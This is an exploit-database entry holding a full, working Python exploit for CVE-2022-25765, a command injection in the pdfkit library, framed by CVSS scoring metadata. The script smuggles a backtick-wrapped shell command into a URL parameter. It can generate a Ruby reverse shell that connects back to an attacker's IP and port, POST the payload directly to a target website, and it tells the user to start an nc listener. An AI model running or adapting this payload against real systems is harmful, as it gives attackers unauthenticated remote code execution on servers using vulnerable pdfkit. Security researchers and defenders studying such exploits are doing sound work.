Lucene search

K
zdtUNICORD1337DAY-ID-38527
HistoryApr 06, 2023 - 12:00 a.m.

pdfkit v0.8.7.2 - Command Injection Exploit

2023-04-0600:00:00
UNICORD
0day.today
146
pdfkit
v0.8.7.2
command injection
unicord
url sanitization
custom payload
reverse shell

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.191 Low

EPSS

Percentile

96.3%

#!/usr/bin/env python3
# Exploit Title: pdfkit v0.8.7.2 - Command Injection
# Date: 02/23/2023
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pdfkit.org/
# Software Link: https://github.com/pdfkit/pdfkit
# Version: 0.0.0-0.8.7.2
# Tested on: pdfkit 0.8.6
# CVE: CVE-2022–25765
# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

# Imports
import time
import sys
import requests
from urllib.parse import quote


class color:
    red = '\033[91m'
    gold = '\033[93m'
    blue = '\033[36m'
    green = '\033[92m'
    no = '\033[0m'


# Print UNICORD ASCII Art
def UNICORD_ASCII():
    print(rf"""
{color.red}        _ __,~~~{color.gold}/{color.red}_{color.no}        {color.blue}__  ___  _______________  ___  ___{color.no}
{color.red}    ,~~`( )_( )-\|       {color.blue}/ / / / |/ /  _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red}        |/|  `--.       {color.blue}/ /_/ /    // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
    """)


# Print exploit help menu
def help():
    print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection

Usage:
  python3 exploit-CVE-2022–25765.py -c <command>
  python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
  python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
  python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
  python3 exploit-CVE-2022–25765.py -h

Options:
  -c    Custom command mode. Provide command to generate custom payload with.
  -s    Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
  -w    URL of website running vulnerable pdfkit. (Optional)
  -p    POST parameter on website running vulnerable pdfkit. (Optional)
  -h    Show this help menu.
""")
    exit()


def loading(spins):

    def spinning_cursor():
        while True:
            for cursor in '|/-\\':
                yield cursor

    spinner = spinning_cursor()
    for _ in range(spins):
        sys.stdout.write(next(spinner))
        sys.stdout.flush()
        time.sleep(0.1)
        sys.stdout.write('\b')


# Run the exploit
def exploit(payload, exploitMode, postArg):

    UNICORD_ASCII()

    print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}")
    loading(15)
    print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
    print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")

    if "web" in exploitMode:
        if exploitMode == "webcommand":
            print(
                f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
        else:
            print(
                f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
            print(
                f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")
        print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")
        print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")
        if "http" not in website:
            print(
                f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")
            exit()
        postArg = postArg + "=" + quote(payload, safe="")
        try:
            response = requests.post(website, postArg)
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")
            exit()
        loading(15)
        print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")
        loading(15)
        print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")
    elif exploitMode == "command":
        print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
        loading(15)
        print(
            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
    elif exploitMode == "shell":
        print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
        print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
        loading(15)
        print(
            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")

    exit()


if __name__ == "__main__":

    args = ['-h', '-c', '-s', '-w', '-p']
    modes = {'command': 'Custom Command Mode',
             'shell': 'Reverse Shell Mode',
             'webcommand': 'Custom Command Send to Target Website Mode',
             'webshell': 'Reverse Shell Sent to Target Website Mode'}
    postArg = "url"

    if args[0] in sys.argv:
        help()
    elif args[1] in sys.argv and not args[2] in sys.argv:
        try:
            if sys.argv[sys.argv.index(args[1]) + 1] in args:
                raise
            command = sys.argv[sys.argv.index(args[1]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")
            exit()
        payload = f"http://%20`{command}`"
        mode = "command"
    elif args[2] in sys.argv and not args[1] in sys.argv:
        try:
            if "-" in sys.argv[sys.argv.index(args[2]) + 1]:
                raise
            listenIP = sys.argv[sys.argv.index(args[2]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")
            exit()
        try:
            if "-" in sys.argv[sys.argv.index(args[2]) + 2]:
                raise
            listenPort = sys.argv[sys.argv.index(args[2]) + 2]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")
            exit()
        payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
        mode = "shell"
    else:
        help()

    if args[3] in sys.argv and args[4] in sys.argv:
        try:
            if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:
                raise
            website = sys.argv[sys.argv.index(args[3]) + 1]
            mode = "web" + mode
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
            exit()
        try:
            if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:
                raise
            postArg = sys.argv[sys.argv.index(args[4]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
            exit()
    elif args[3] in sys.argv or args[4] in sys.argv:
        print(
            f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
        exit()

    exploit(payload, mode, postArg)

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.191 Low

EPSS

Percentile

96.3%